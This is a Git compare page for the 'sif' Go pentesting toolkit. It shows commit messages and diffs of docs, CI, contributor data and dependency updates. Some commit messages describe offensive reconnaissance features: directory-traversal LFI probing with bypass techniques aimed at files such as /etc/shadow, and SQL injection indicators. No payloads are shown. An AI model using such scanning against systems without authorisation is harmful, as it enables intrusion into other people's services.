Compare commits

...

22 Commits

Author SHA1 Message Date
vmfunc 1447485af9 docs: update contributor name and add vxfemboy 2026-01-02 19:56:44 -08:00
vmfunc 6e1d5cf488 chore: fix contributorrc 2026-01-02 19:55:31 -08:00
vmfunc 1583e00478 chore: fix contributorrc 2026-01-02 19:51:03 -08:00
vmfunc 40db023632 Merge pull request #40 from vmfunc/feat/framework-detection
feat: framework detection module
2026-01-02 19:15:07 -08:00
vmfunc 5868deef21 fix: adjust sif logo alignment 2026-01-02 19:12:28 -08:00
vmfunc b43e54bf60 fix: improve version detection and add documentation
- fix version detection to validate reasonable version numbers (major < 100)
- remove overly permissive patterns that caused false positives
- add comprehensive framework contribution documentation to CONTRIBUTING.md
- document signature patterns, version detection, and CVE data format
- add configuration documentation for flags and env vars
- outline future enhancements for community contributions
2026-01-02 19:04:37 -08:00
vmfunc c75ebccb27 docs: add framework detection to readme 2026-01-02 18:54:24 -08:00
vmfunc 858555bc47 feat: expand framework detection with cvs, version confidence, concurrency
- add 20+ new framework signatures (vue, angular, react, svelte, sveltekit,
  remix, gatsby, joomla, magento, shopify, ghost, ember, backbone, meteor,
  strapi, adonisjs, cakephp, codeigniter, asp.net core, spring boot)
- add version confidence scoring with multiple detection sources
- add concurrent framework scanning for better performance
- expand cve database with 15+ known vulnerabilities (spring4shell, etc.)
- add risk level assessment based on cve severity
- add comprehensive security recommendations
- add new tests for all features
2026-01-02 18:52:15 -08:00
vmfunc 51ee65c5df chore: add license header to detect.go 2026-01-02 18:52:15 -08:00
vmfunc 035e9406d9 feat: improve framework detection with more signatures and tests
- use math.Exp instead of custom exp implementation
- add more framework signatures: next.js, nuxt.js, wordpress, drupal,
  symfony, fastapi, gin, phoenix
- fix header detection to check both header names and values
- simplify version detection (remove unnecessary padding)
- add comprehensive test suite for framework detection
- fix formatting in dork.go
2026-01-02 18:52:15 -08:00
vmfunc ba5468725e chore(actions): add framework to CI 2026-01-02 18:52:15 -08:00
vmfunc 49b081dc30 feat(framework-detection): weighted bayesian detection algorithm
- weighted signature matching for more accurate framework detection
- sigmoid normalization for confidence scores
- version detection with semantic versioning support
- header-only pattern
2026-01-02 18:52:15 -08:00
vmfunc 127eeff265 feat: framework detection module 2026-01-02 18:52:15 -08:00
vmfunc 1b493e9572 fix: use static discord badge instead of server id 2026-01-02 18:45:07 -08:00
vmfunc 74b044ce59 docs: update readme with new modules and discord link 2026-01-02 18:42:45 -08:00
vmfunc 2a2bcf5b92 feat: add lfi reconnaissance module (#49)
adds a new --lfi flag for local file inclusion vulnerability scanning:
- tests common lfi parameters with directory traversal payloads
- detects /etc/passwd, /etc/shadow, windows system files
- identifies php wrappers and encoded content
- supports various bypass techniques (null bytes, encoding)

closes #4
2026-01-02 18:41:30 -08:00
vmfunc 166e1b82c2 feat: add sql reconnaissance module (#48)
adds a new --sql flag that performs sql reconnaissance on target urls:
- detects common database admin panels (phpmyadmin, adminer, pgadmin, etc.)
- identifies database error disclosure (mysql, postgresql, mssql, oracle, sqlite)
- scans common paths for sql injection indicators

closes #3
2026-01-02 18:40:06 -08:00
vmfunc be9c02e8ba fix: remove duplicate subdomain takeover call and add config tests (#46)
- remove duplicate SubdomainTakeover call that ran twice when both
  dns scan and --st flag were enabled
- add comprehensive tests for config settings defaults and behavior
- fix formatting in dork.go

closes #1
2026-01-02 18:38:47 -08:00
vmfunc 018af224d6 Merge pull request #47 from vmfunc/feat/shodan-integration
feat: add shodan integration for host reconnaissance
2026-01-02 18:35:56 -08:00
vmfunc 97aeb4c8b0 feat: add shodan integration for host reconnaissance
adds a new --shodan flag that queries the shodan api for information
about the target host. requires SHODAN_API_KEY environment variable.

features:
- resolves hostnames to ip addresses
- queries shodan host api for reconnaissance data
- displays organization, isp, location, ports, services, and vulns
- logs results to file when logdir is specified

closes #2
2026-01-02 18:24:37 -08:00
vmfunc 2d38d3fea5 fix: update dependencies to address security vulnerabilities
- golang.org/x/crypto v0.26.0 -> v0.46.0 (critical: ssh auth bypass)
- golang.org/x/net v0.28.0 -> v0.48.0 (medium: xss vulnerability)
- golang.org/x/oauth2 v0.11.0 -> v0.34.0 (high: input validation)
- quic-go v0.48.2 -> v0.58.0 (high: panic on undecryptable packets)
- golang-jwt/jwt v4.5.1 -> v4.5.2 (high: memory allocation)
- cloudflare/circl v1.3.7 -> v1.6.2 (low: validation issues)
- refraction-networking/utls v1.5.4 -> v1.8.1 (medium: tls downgrade)
- ulikunitz/xz v0.5.11 -> v0.5.15 (medium: memory leak)
- klauspost/compress v1.16.7 -> v1.17.4

also fixes go vet warnings for non-constant format strings
2026-01-02 18:03:27 -08:00
vmfunc 3df0064e4b fix: update readme badges and use banner image
- update badges to point to vmfunc/sif
- replace ascii art with banner image
- fix header check action to check first 5 lines
- remove obsolete LICENSE.md
2026-01-02 17:54:17 -08:00
21 changed files with 3487 additions and 93 deletions
+15 -9
View File
@@ -10,7 +10,7 @@
"contributors": [
{
"login": "vmfunc",
"name": "mel",
"name": "vmfunc",
"avatar_url": "https://avatars.githubusercontent.com/u/59031302?v=4",
"profile": "https://vmfunc.re",
"contributions": [
@@ -18,12 +18,7 @@
"mentoring",
"projectManagement",
"security",
"test",
"business",
"code",
"design",
"financial",
"ideas"
"code"
]
},
{
@@ -41,6 +36,7 @@
"avatar_url": "https://avatars.githubusercontent.com/u/127897805?v=4",
"profile": "https://github.com/macdoos",
"contributions": [
"code"
]
},
{
@@ -52,7 +48,7 @@
"ideas"
]
},
{
{
"login": "tessa-u-k",
"name": "tessa ",
"avatar_url": "https://avatars.githubusercontent.com/u/109355732?v=4",
@@ -76,6 +72,16 @@
"test",
"code"
]
},
{
"login": "vxfemboy",
"name": "Zoa Hickenlooper",
"avatar_url": "https://avatars.githubusercontent.com/u/79362520?v=4",
"profile": "https://github.com/vxfemboy",
"contributions": [
"code"
]
}
]
],
"repoType": "github"
}
+2 -2
View File
@@ -24,8 +24,8 @@ jobs:
continue
fi
# check if file starts with the license header
if ! head -n 3 "$file" | grep -q "█▀ █ █▀▀"; then
# check if file starts with the license header (signature is on line 4)
if ! head -n 5 "$file" | grep -q "█▀ █ █▀▀"; then
missing_headers+=("$file")
fi
done < <(find . -name "*.go" -type f -print0)
+1 -1
View File
@@ -20,7 +20,7 @@ jobs:
run: make
- name: Run Sif with features
run: |
./sif -u https://google.com -dnslist small -dirlist small -dork -git -whois -cms
./sif -u https://example.com -dnslist small -dirlist small -dork -git -whois -cms -framework
if [ $? -eq 0 ]; then
echo "Sif ran successfully"
else
+92
View File
@@ -53,6 +53,98 @@ When making a pull request, please adhere to the following conventions:
If you have any questions, feel free to ask around on the IRC channel.
## Contributing Framework Detection Patterns
The framework detection module (`pkg/scan/frameworks/detect.go`) identifies web frameworks by analyzing HTTP headers and response bodies. To add support for a new framework:
### Adding a New Framework Signature
1. Add your framework to the `frameworkSignatures` map:
```go
"MyFramework": {
{Pattern: `unique-identifier`, Weight: 0.5},
{Pattern: `header-signature`, Weight: 0.4, HeaderOnly: true},
{Pattern: `body-signature`, Weight: 0.3},
},
```
**Pattern Guidelines:**
- `Weight`: How much this signature contributes to detection (0.0-1.0)
- `HeaderOnly`: Set to `true` for HTTP header patterns
- Use unique identifiers that won't false-positive on other frameworks
- Include multiple patterns for higher confidence
### Adding Version Detection
Add version patterns to `extractVersionWithConfidence()`:
```go
"MyFramework": {
{`MyFramework[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`"myframework":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
},
```
### Adding CVE Data
Add known vulnerabilities to the `knownCVEs` map:
```go
"MyFramework": {
{
CVE: "CVE-YYYY-XXXXX",
AffectedVersions: []string{"1.0.0", "1.0.1", "1.1.0"},
FixedVersion: "1.2.0",
Severity: "high", // critical, high, medium, low
Description: "Brief description of the vulnerability",
Recommendations: []string{"Update to 1.2.0 or later"},
},
},
```
### Testing Your Changes
Always add tests for new frameworks in `detect_test.go`:
```go
func TestDetectFramework_MyFramework(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write([]byte(`<html><body>unique-identifier</body></html>`))
}))
defer server.Close()
result, err := DetectFramework(server.URL, 5*time.Second, "")
// assertions...
}
```
### Future Enhancements (Help Wanted)
- **Custom Signature Support**: Allow users to define signatures via config file
- **CVE API Integration**: Real-time CVE data from NVD or other sources
- **Automated Signature Updates**: Fetch new signatures from a central repository
- **Framework Fingerprint Database**: Community-maintained signature database
## Configuration
### Framework Detection Flags
| Flag | Description |
|------|-------------|
| `-framework` | Enable framework detection |
| `-timeout` | HTTP request timeout (affects all modules) |
| `-threads` | Number of concurrent workers |
| `-log` | Directory to save scan results |
| `-debug` | Enable debug logging for verbose output |
### Environment Variables
| Variable | Description |
|----------|-------------|
| `SHODAN_API_KEY` | API key for Shodan host intelligence |
## Packaging
We'd love it if you helped us bring sif to your distribution.
+30 -14
View File
@@ -1,17 +1,13 @@
<div align="center">
```
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ :
: ▄█ █ █▀ blazing-fast pentesting suite :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
```
<img src="assets/banner.png" alt="sif" width="600">
[![go version](https://img.shields.io/github/go-mod/go-version/dropalldatabases/sif?style=flat-square&color=00ADD8)](https://go.dev/)
[![build](https://img.shields.io/github/actions/workflow/status/dropalldatabases/sif/go.yml?style=flat-square)](https://github.com/dropalldatabases/sif/actions)
<br><br>
[![go version](https://img.shields.io/github/go-mod/go-version/vmfunc/sif?style=flat-square&color=00ADD8)](https://go.dev/)
[![build](https://img.shields.io/github/actions/workflow/status/vmfunc/sif/go.yml?style=flat-square)](https://github.com/vmfunc/sif/actions)
[![license](https://img.shields.io/badge/license-BSD--3--Clause-blue?style=flat-square)](LICENSE)
[![discord](https://img.shields.io/badge/discord-join-5865F2?style=flat-square&logo=discord&logoColor=white)](https://discord.gg/sifcli)
**[install](#install) · [usage](#usage) · [modules](#modules) · [contribute](#contribute)**
@@ -31,7 +27,7 @@ sif is a modular pentesting toolkit written in go. it's designed to be fast, con
### from releases
grab the latest binary from [releases](https://github.com/dropalldatabases/sif/releases).
grab the latest binary from [releases](https://github.com/vmfunc/sif/releases).
### from source
@@ -61,6 +57,15 @@ requires go 1.23+
# javascript framework detection + cloud misconfig
./sif -u https://example.com -js -c3
# shodan host intelligence (requires SHODAN_API_KEY env var)
./sif -u https://example.com -shodan
# sql recon + lfi scanning
./sif -u https://example.com -sql -lfi
# framework detection (with cve lookup)
./sif -u https://example.com -framework
# everything
./sif -u https://example.com -all
```
@@ -83,6 +88,10 @@ run `./sif -h` for all options.
| `cms` | cms detection |
| `whois` | whois lookups |
| `git` | exposed git repository detection |
| `shodan` | shodan host intelligence (requires SHODAN_API_KEY) |
| `sql` | sql admin panel and error disclosure detection |
| `lfi` | local file inclusion vulnerability scanning |
| `framework` | web framework detection with version + cve lookup |
## contribute
@@ -99,6 +108,12 @@ golangci-lint run
go test ./...
```
## community
join our discord for support, feature discussions, and pentesting tips:
[![discord](https://img.shields.io/badge/join%20our%20discord-5865F2?style=for-the-badge&logo=discord&logoColor=white)](https://discord.gg/sifcli)
## contributors
<!-- ALL-CONTRIBUTORS-LIST:START - Do not remove or modify this section -->
@@ -107,12 +122,13 @@ go test ./...
<table>
<tbody>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://vmfunc.re"><img src="https://avatars.githubusercontent.com/u/59031302?v=4?s=100" width="100px;" alt="mel"/><br /><sub><b>mel</b></sub></a><br /><a href="#maintenance-vmfunc" title="Maintenance">🚧</a> <a href="#mentoring-vmfunc" title="Mentoring">🧑‍🏫</a> <a href="#projectManagement-vmfunc" title="Project Management">📆</a> <a href="#security-vmfunc" title="Security">🛡️</a> <a href="#test-vmfunc" title="Tests">⚠️</a> <a href="#business-vmfunc" title="Business development">💼</a> <a href="#code-vmfunc" title="Code">💻</a> <a href="#design-vmfunc" title="Design">🎨</a> <a href="#financial-vmfunc" title="Financial">💵</a> <a href="#ideas-vmfunc" title="Ideas, Planning, & Feedback">🤔</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://vmfunc.re"><img src="https://avatars.githubusercontent.com/u/59031302?v=4?s=100" width="100px;" alt="vmfunc"/><br /><sub><b>vmfunc</b></sub></a><br /><a href="#maintenance-vmfunc" title="Maintenance">🚧</a> <a href="#mentoring-vmfunc" title="Mentoring">🧑‍🏫</a> <a href="#projectManagement-vmfunc" title="Project Management">📆</a> <a href="#security-vmfunc" title="Security">🛡️</a> <a href="https://github.com/lunchcat/sif/commits?author=vmfunc" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://projectdiscovery.io"><img src="https://avatars.githubusercontent.com/u/50994705?v=4?s=100" width="100px;" alt="ProjectDiscovery"/><br /><sub><b>ProjectDiscovery</b></sub></a><br /><a href="#platform-projectdiscovery" title="Packaging/porting to new platform">📦</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/macdoos"><img src="https://avatars.githubusercontent.com/u/127897805?v=4?s=100" width="100px;" alt="macdoos"/><br /><sub><b>macdoos</b></sub></a><br /><a href="#code-macdoos" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/macdoos"><img src="https://avatars.githubusercontent.com/u/127897805?v=4?s=100" width="100px;" alt="macdoos"/><br /><sub><b>macdoos</b></sub></a><br /><a href="https://github.com/lunchcat/sif/commits?author=macdoos" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://epitech.eu"><img src="https://avatars.githubusercontent.com/u/75166283?v=4?s=100" width="100px;" alt="Matthieu Witrowiez"/><br /><sub><b>Matthieu Witrowiez</b></sub></a><br /><a href="#ideas-D3adPlays" title="Ideas, Planning, & Feedback">🤔</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/tessa-u-k"><img src="https://avatars.githubusercontent.com/u/109355732?v=4?s=100" width="100px;" alt="tessa "/><br /><sub><b>tessa </b></sub></a><br /><a href="#infra-tessa-u-k" title="Infrastructure (Hosting, Build-Tools, etc)">🚇</a> <a href="#question-tessa-u-k" title="Answering Questions">💬</a> <a href="#userTesting-tessa-u-k" title="User Testing">📓</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/xyzeva"><img src="https://avatars.githubusercontent.com/u/133499694?v=4?s=100" width="100px;" alt="Eva"/><br /><sub><b>Eva</b></sub></a><br /><a href="#blog-xyzeva" title="Blogposts">📝</a> <a href="#content-xyzeva" title="Content">🖋</a> <a href="#research-xyzeva" title="Research">🔬</a> <a href="#security-xyzeva" title="Security">🛡️</a> <a href="#test-xyzeva" title="Tests">⚠️</a> <a href="#code-xyzeva" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/xyzeva"><img src="https://avatars.githubusercontent.com/u/133499694?v=4?s=100" width="100px;" alt="Eva"/><br /><sub><b>Eva</b></sub></a><br /><a href="#blog-xyzeva" title="Blogposts">📝</a> <a href="#content-xyzeva" title="Content">🖋</a> <a href="#research-xyzeva" title="Research">🔬</a> <a href="#security-xyzeva" title="Security">🛡️</a> <a href="https://github.com/lunchcat/sif/commits?author=xyzeva" title="Tests">⚠️</a> <a href="https://github.com/lunchcat/sif/commits?author=xyzeva" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/vxfemboy"><img src="https://avatars.githubusercontent.com/u/79362520?v=4?s=100" width="100px;" alt="Zoa Hickenlooper"/><br /><sub><b>Zoa Hickenlooper</b></sub></a><br /><a href="https://github.com/lunchcat/sif/commits?author=vxfemboy" title="Code">💻</a></td>
</tr>
</tbody>
</table>
+16 -17
View File
@@ -1,6 +1,6 @@
module github.com/dropalldatabases/sif
go 1.23
go 1.24.0
toolchain go1.25.5
@@ -55,7 +55,6 @@ require (
github.com/charmbracelet/glamour v0.6.0 // indirect
github.com/cheggaaa/pb/v3 v3.1.4 // indirect
github.com/cloudflare/cfssl v1.6.4 // indirect
github.com/cloudflare/circl v1.3.7 // indirect
github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08 // indirect
github.com/corpix/uarand v0.2.0 // indirect
github.com/dimchansky/utfbom v1.1.1 // indirect
@@ -65,7 +64,6 @@ require (
github.com/fatih/color v1.16.0 // indirect
github.com/fatih/structs v1.1.0 // indirect
github.com/gabriel-vasile/mimetype v1.4.2 // indirect
github.com/gaukas/godicttls v0.0.4 // indirect
github.com/go-logfmt/logfmt v0.6.0 // indirect
github.com/go-ole/go-ole v1.2.6 // indirect
github.com/go-playground/locales v0.14.1 // indirect
@@ -78,7 +76,7 @@ require (
github.com/gobwas/pool v0.2.1 // indirect
github.com/gobwas/ws v1.2.1 // indirect
github.com/gocolly/colly/v2 v2.1.0 // indirect
github.com/golang-jwt/jwt/v4 v4.5.1 // indirect
github.com/golang-jwt/jwt/v4 v4.5.2 // indirect
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect
github.com/golang/protobuf v1.5.3 // indirect
github.com/golang/snappy v0.0.4 // indirect
@@ -102,7 +100,7 @@ require (
github.com/julienschmidt/httprouter v1.3.0 // indirect
github.com/kataras/jwt v0.1.8 // indirect
github.com/kennygrant/sanitize v1.2.4 // indirect
github.com/klauspost/compress v1.16.7 // indirect
github.com/klauspost/compress v1.17.4 // indirect
github.com/klauspost/cpuid/v2 v2.2.5 // indirect
github.com/klauspost/pgzip v1.2.5 // indirect
github.com/leodido/go-urn v1.2.4 // indirect
@@ -156,10 +154,10 @@ require (
github.com/projectdiscovery/sarif v0.0.1 // indirect
github.com/projectdiscovery/tlsx v1.1.4 // indirect
github.com/projectdiscovery/yamldoc-go v1.0.4 // indirect
github.com/quic-go/quic-go v0.48.2 // indirect
github.com/refraction-networking/utls v1.5.4 // indirect
github.com/refraction-networking/utls v1.8.1 // indirect
github.com/remeh/sizedwaitgroup v1.0.0 // indirect
github.com/rivo/uniseg v0.4.4 // indirect
github.com/rogpeppe/go-internal v1.10.0 // indirect
github.com/rs/xid v1.5.0 // indirect
github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d // indirect
github.com/sashabaranov/go-openai v1.14.2 // indirect
@@ -168,6 +166,7 @@ require (
github.com/shoenig/go-m1cpu v0.1.6 // indirect
github.com/spaolacci/murmur3 v1.1.0 // indirect
github.com/spf13/cast v1.5.1 // indirect
github.com/stretchr/testify v1.11.1 // indirect
github.com/syndtr/goleveldb v1.0.0 // indirect
github.com/temoto/robotstxt v1.1.2 // indirect
github.com/tidwall/btree v1.6.0 // indirect
@@ -181,7 +180,7 @@ require (
github.com/tklauser/go-sysconf v0.3.12 // indirect
github.com/tklauser/numcpus v0.6.1 // indirect
github.com/trivago/tgo v1.0.7 // indirect
github.com/ulikunitz/xz v0.5.11 // indirect
github.com/ulikunitz/xz v0.5.15 // indirect
github.com/valyala/bytebufferpool v1.0.0 // indirect
github.com/valyala/fasttemplate v1.2.2 // indirect
github.com/weppos/publicsuffix-go v0.30.1-0.20230422193905-8fecedd899db // indirect
@@ -204,17 +203,17 @@ require (
go.uber.org/multierr v1.11.0 // indirect
go.uber.org/zap v1.25.0 // indirect
goftp.io/server/v2 v2.0.1 // indirect
golang.org/x/crypto v0.26.0 // indirect
golang.org/x/crypto v0.46.0 // indirect
golang.org/x/exp v0.0.0-20240506185415-9bf2ced13842 // indirect
golang.org/x/mod v0.17.0 // indirect
golang.org/x/net v0.28.0 // indirect
golang.org/x/oauth2 v0.11.0 // indirect
golang.org/x/sync v0.8.0 // indirect
golang.org/x/sys v0.23.0 // indirect
golang.org/x/term v0.23.0 // indirect
golang.org/x/text v0.17.0 // indirect
golang.org/x/mod v0.30.0 // indirect
golang.org/x/net v0.48.0 // indirect
golang.org/x/oauth2 v0.34.0 // indirect
golang.org/x/sync v0.19.0 // indirect
golang.org/x/sys v0.39.0 // indirect
golang.org/x/term v0.38.0 // indirect
golang.org/x/text v0.32.0 // indirect
golang.org/x/time v0.5.0 // indirect
golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d // indirect
golang.org/x/tools v0.39.0 // indirect
google.golang.org/appengine v1.6.7 // indirect
google.golang.org/protobuf v1.33.0 // indirect
gopkg.in/alecthomas/kingpin.v2 v2.2.6 // indirect
+32 -38
View File
@@ -104,8 +104,6 @@ github.com/cheggaaa/pb/v3 v3.1.4/go.mod h1:6wVjILNBaXMs8c21qRiaUM8BR82erfgau1DQ4
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
github.com/cloudflare/cfssl v1.6.4 h1:NMOvfrEjFfC63K3SGXgAnFdsgkmiq4kATme5BfcqrO8=
github.com/cloudflare/cfssl v1.6.4/go.mod h1:8b3CQMxfWPAeom3zBnGJ6sd+G1NkL5TXqmDXacb+1J0=
github.com/cloudflare/circl v1.3.7 h1:qlCDlTPz2n9fu58M0Nh1J/JzcFpfgkFHHX3O35r5vcU=
github.com/cloudflare/circl v1.3.7/go.mod h1:sRTcRWXGLrKw6yIGJ+l7amYJFfAXbZG0kBSc8r4zxgA=
github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08 h1:ox2F0PSMlrAAiAdknSRMDrAr8mfxPCfSZolH+/qQnyQ=
github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08/go.mod h1:pCxVEbcm3AMg7ejXyorUXi6HQCzOIBf7zEDVPtw0/U4=
github.com/corpix/uarand v0.2.0 h1:U98xXwud/AVuCpkpgfPF7J5TQgr7R5tqT8VZP5KWbzE=
@@ -137,8 +135,6 @@ github.com/fsnotify/fsnotify v1.6.0 h1:n+5WquG0fcWoWp6xPWfHdbskMCQaFnG6PfBrh1Ky4
github.com/fsnotify/fsnotify v1.6.0/go.mod h1:sl3t1tCWJFWoRz9R8WJCbQihKKwmorjAbSClcnxKAGw=
github.com/gabriel-vasile/mimetype v1.4.2 h1:w5qFW6JKBz9Y393Y4q372O9A7cUSequkh1Q7OhCmWKU=
github.com/gabriel-vasile/mimetype v1.4.2/go.mod h1:zApsH/mKG4w07erKIaJPFiX0Tsq9BFQgN3qGY5GnNgA=
github.com/gaukas/godicttls v0.0.4 h1:NlRaXb3J6hAnTmWdsEKb9bcSBD6BvcIjdGdeb0zfXbk=
github.com/gaukas/godicttls v0.0.4/go.mod h1:l6EenT4TLWgTdwslVb4sEMOCf7Bv0JAK67deKr9/NCI=
github.com/go-logfmt/logfmt v0.6.0 h1:wGYYu3uicYdqXVgoYbvnkrPVXkuLM1p1ifugDMEdRi4=
github.com/go-logfmt/logfmt v0.6.0/go.mod h1:WYhtIu8zTZfxdn5+rREduYbwxfcBr/Vr6KEVveWlfTs=
github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY=
@@ -168,8 +164,8 @@ github.com/gocolly/colly/v2 v2.1.0 h1:k0DuZkDoCsx51bKpRJNEmcxcp+W5N8ziuwGaSDuFoG
github.com/gocolly/colly/v2 v2.1.0/go.mod h1:I2MuhsLjQ+Ex+IzK3afNS8/1qP3AedHOusRPcRdC5o0=
github.com/gofrs/uuid v3.3.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
github.com/golang-jwt/jwt/v4 v4.4.2/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0=
github.com/golang-jwt/jwt/v4 v4.5.1 h1:JdqV9zKUdtaa9gdPlywC3aeoEsR681PlKC+4F5gQgeo=
github.com/golang-jwt/jwt/v4 v4.5.1/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0=
github.com/golang-jwt/jwt/v4 v4.5.2 h1:YtQM7lnr8iZ+j5q71MGKkNw9Mn7AjHM68uc9g5fXeUI=
github.com/golang-jwt/jwt/v4 v4.5.2/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0=
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da h1:oI5xCqsCo564l8iNU+DwB5epxmsaqB+rhGL0m5jtYqE=
@@ -264,8 +260,8 @@ github.com/kennygrant/sanitize v1.2.4 h1:gN25/otpP5vAsO2djbMhF/LQX6R7+O1TB4yv8Nz
github.com/kennygrant/sanitize v1.2.4/go.mod h1:LGsjYYtgxbetdg5owWB2mpgUL6e2nfw2eObZ0u0qvak=
github.com/klauspost/compress v1.4.1/go.mod h1:RyIbtBH6LamlWaDj8nUwkbUhJ87Yi3uG0guNDohfE1A=
github.com/klauspost/compress v1.11.4/go.mod h1:aoV0uJVorq1K+umq18yTdKaF57EivdYsUV+/s2qKfXs=
github.com/klauspost/compress v1.16.7 h1:2mk3MPGNzKyxErAw8YaohYh69+pa4sIQSC0fPGCFR9I=
github.com/klauspost/compress v1.16.7/go.mod h1:ntbaceVETuRiXiv4DpjP66DpAtAGkEQskQzEyD//IeE=
github.com/klauspost/compress v1.17.4 h1:Ej5ixsIri7BrIjBkRZLTo6ghwrEtHFk7ijlczPW4fZ4=
github.com/klauspost/compress v1.17.4/go.mod h1:/dCuZOvVtNoHsyb+cuJD3itjs3NbnF6KH9zAO4BDxPM=
github.com/klauspost/cpuid v1.2.0/go.mod h1:Pj4uuM528wm8OyEC2QMXAi2YiTZ96dNQPGgoMS4s3ek=
github.com/klauspost/cpuid/v2 v2.0.12/go.mod h1:g2LTdtYhdyuGPqyWyv7qRAmj1WBqxuObKfj5c0PQa7c=
github.com/klauspost/cpuid/v2 v2.2.5 h1:0E5MSMDEoAulmXNFquVs//DdoomxaoTY1kUhbc/qbZg=
@@ -349,8 +345,8 @@ github.com/onsi/ginkgo v1.7.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+W
github.com/onsi/ginkgo v1.16.4 h1:29JGrr5oVBm5ulCWet69zQkzWipVXIol6ygQUe/EzNc=
github.com/onsi/ginkgo v1.16.4/go.mod h1:dX+/inL/fNMqNlz0e9LfyB9TswhZpCVdJM/Z6Vvnwo0=
github.com/onsi/gomega v1.4.3/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY=
github.com/onsi/gomega v1.27.6 h1:ENqfyGeS5AX/rlXDd/ETokDz93u0YufY1Pgxuy/PvWE=
github.com/onsi/gomega v1.27.6/go.mod h1:PIQNjfQwkP3aQAH7lf7j87O/5FiNr+ZR8+ipb+qQlhg=
github.com/onsi/gomega v1.16.0 h1:6gjqkI8iiRHMvdccRJM8rVKjCWk6ZIm6FTm3ddIe4/c=
github.com/onsi/gomega v1.16.0/go.mod h1:HnhC7FXeEQY45zxNK3PPoIUhzk/80Xly9PcubAlGdZY=
github.com/op/go-logging v0.0.0-20160315200505-970db520ece7/go.mod h1:HzydrMdWErDVzsI23lYNej1Htcns9BCg93Dk0bBINWk=
github.com/pierrec/lz4 v2.6.1+incompatible h1:9UY3+iC23yxF0UfGaYrGplQ+79Rg+h/q9FV9ix19jjM=
github.com/pierrec/lz4 v2.6.1+incompatible/go.mod h1:pdkljMzZIN41W+lC3N2tnIh5sFi+IEE17M5jbnwPHcY=
@@ -421,10 +417,8 @@ github.com/projectdiscovery/utils v0.1.1/go.mod h1:EPuSvVIvp61nXJD5EO65vaCv82Ouh
github.com/projectdiscovery/yamldoc-go v1.0.4 h1:eZoESapnMw6WAHiVgRwNqvbJEfNHEH148uthhFbG5jE=
github.com/projectdiscovery/yamldoc-go v1.0.4/go.mod h1:8PIPRcUD55UbtQdcfFR1hpIGRWG0P7alClXNGt1TBik=
github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
github.com/quic-go/quic-go v0.48.2 h1:wsKXZPeGWpMpCGSWqOcqpW2wZYic/8T3aqiOID0/KWE=
github.com/quic-go/quic-go v0.48.2/go.mod h1:yBgs3rWBOADpga7F+jJsb6Ybg1LSYiQvwWlLX+/6HMs=
github.com/refraction-networking/utls v1.5.4 h1:9k6EO2b8TaOGsQ7Pl7p9w6PUhx18/ZCeT0WNTZ7Uw4o=
github.com/refraction-networking/utls v1.5.4/go.mod h1:SPuDbBmgLGp8s+HLNc83FuavwZCFoMmExj+ltUHiHUw=
github.com/refraction-networking/utls v1.8.1 h1:yNY1kapmQU8JeM1sSw2H2asfTIwWxIkrMJI0pRUOCAo=
github.com/refraction-networking/utls v1.8.1/go.mod h1:jkSOEkLqn+S/jtpEHPOsVv/4V4EVnelwbMQl4vCWXAM=
github.com/remeh/sizedwaitgroup v1.0.0 h1:VNGGFwNo/R5+MJBf6yrsr110p0m4/OX4S3DCy7Kyl5E=
github.com/remeh/sizedwaitgroup v1.0.0/go.mod h1:3j2R4OIe/SeS6YDhICBy22RWjJC5eNCJ1V+9+NVNYlo=
github.com/rivo/uniseg v0.1.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
